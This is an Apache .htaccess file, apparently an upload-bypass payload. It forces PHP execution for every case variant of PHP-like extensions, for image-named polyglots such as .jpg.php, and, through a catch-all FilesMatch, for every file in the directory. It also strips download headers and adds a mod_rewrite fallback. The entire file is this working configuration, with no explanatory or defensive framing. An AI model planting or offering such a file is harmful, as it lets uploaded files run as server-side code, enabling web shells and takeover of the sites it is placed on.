# Force PHP execution - ALL case variants
<IfModule mod_php.c>
    php_flag engine on
</IfModule>
<IfModule mod_php5.c>
    php_flag engine on
</IfModule>
<IfModule mod_php7.c>
    php_flag engine on
</IfModule>
<IfModule mod_php8.c>
    php_flag engine on
</IfModule>

# Case-insensitive AddHandler for all PHP variants
AddHandler application/x-httpd-php .php .PHP .Php .pHp .PHp .phP .PhP
AddHandler application/x-httpd-php .phar .PHAR .Phar .pHar .PHar .phAr .PhAr .pHAr .PHAr .phaR .PhaR .pHaR .PHaR .phAR .PhAR .pHAR .PHAR
AddHandler application/x-httpd-php .phtml .PHTML .Phtml .pHtml .PHtml .PhTml .pHtMl .PHTml .PHtMl .PhTMl .pHTML .PHtml .pHtML .PhtMl .pHTmL .PhTmL
AddHandler application/x-httpd-php .php5 .PHP5 .Php5 .pHp5 .PHp5 .phP5 .PhP5 .pHP5 .PHP5
AddHandler application/x-httpd-php .php4 .PHP4 .Php4 .pHp4 .PHp4 .phP4 .PhP4 .pHP4 .PHP4
AddHandler application/x-httpd-php .php3 .PHP3 .Php3 .pHp3 .PHp3 .phP3 .PhP3 .pHP3 .PHP3
AddHandler application/x-httpd-php .pht .PHT .Pht .pHt .PHt .phT .PhT .pHT .PHT
AddHandler application/x-httpd-php .phps .PHPS .Phps .pHps .PHps .phPs .PhPs .pHPs .PHPs .phpS .PhpS .pHpS .PHpS .phPS .PhPS .pHPS .PHPS
AddHandler application/x-httpd-php .phpt .PHPT .Phpt .pHpt .PHpt .phPt .PhPt .pHPt .PHPt .phpT .PhpT .pHpT .PHpT .phPT .PhPT .pHPT .PHPT

# Case-insensitive AddType
AddType application/x-httpd-php .php .PHP .Php .pHp .PHp .phP .PhP
AddType application/x-httpd-php .phar .PHAR .Phar .pHar .PHar .phAr .PhAr .pHAr .PHAr .phaR .PhaR .pHaR .PHaR .phAR .PhAR .pHAR .PHAR
AddType application/x-httpd-php .phtml .PHTML .Phtml .pHtml .PHtml .PhTml .pHtMl .PHTml .PHtMl .PhTMl .pHTML .PHtml .pHtML .PhtMl .pHTmL .PhTmL
AddType application/x-httpd-php .php5 .PHP5 .Php5 .pHp5 .PHp5 .phP5 .PhP5 .pHP5 .PHP5
AddType application/x-httpd-php .php4 .PHP4 .Php4 .pHp4 .PHp4 .phP4 .PhP4 .pHP4 .PHP4
AddType application/x-httpd-php .php3 .PHP3 .Php3 .pHp3 .PHp3 .phP3 .PhP3 .pHP3 .PHP3
AddType application/x-httpd-php .pht .PHT .Pht .pHt .PHt .phT .PhT .pHT .PHT

# Force ALL files to PHP (aggressive)
<FilesMatch "^.*$">
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
</FilesMatch>

# Case-insensitive regex for any PHP-like extension
<FilesMatch "\.(?i:p(h(p|tml|ar|ps|pt)?[0-9]?))$">
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
</FilesMatch>

# Specific patterns for mixed case
<FilesMatch "\.[pP][hH][pP][0-9]?$">
    SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch "\.[pP][hH][aA][rR]$">
    SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch "\.[pP][hH][tT][mM][lL]$">
    SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch "\.[pP][hH][tT]$">
    SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch "\.[pP][hH][pP][sS]$">
    SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch "\.[pP][hH][pP][tT]$">
    SetHandler application/x-httpd-php
</FilesMatch>

# Alternative extensions (case-insensitive)
<FilesMatch "\.(?i:inc|module|pgif|shtml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

# Image extensions that might be PHP polyglots
<FilesMatch "\.(?i:gif|jpg|jpeg|png|bmp|webp|svg|ico)\.(?i:php|phar|phtml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

# Prevent download headers
<IfModule mod_headers.c>
    Header unset Content-Disposition
    Header always unset Content-Disposition
    Header set X-PHP-Forced "true"
</IfModule>

# mod_rewrite fallback
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{REQUEST_FILENAME} -f
    RewriteRule \.(?i:p(h(p|tml|ar)?[0-9]?))$ - [H=application/x-httpd-php]
</IfModule>

# Remove handler for actual fonts (keep them working)
<FilesMatch "\.(?i:ttf|woff|woff2|eot|otf)$">
    ForceType application/octet-stream
    Header set Content-Disposition inline
</FilesMatch>
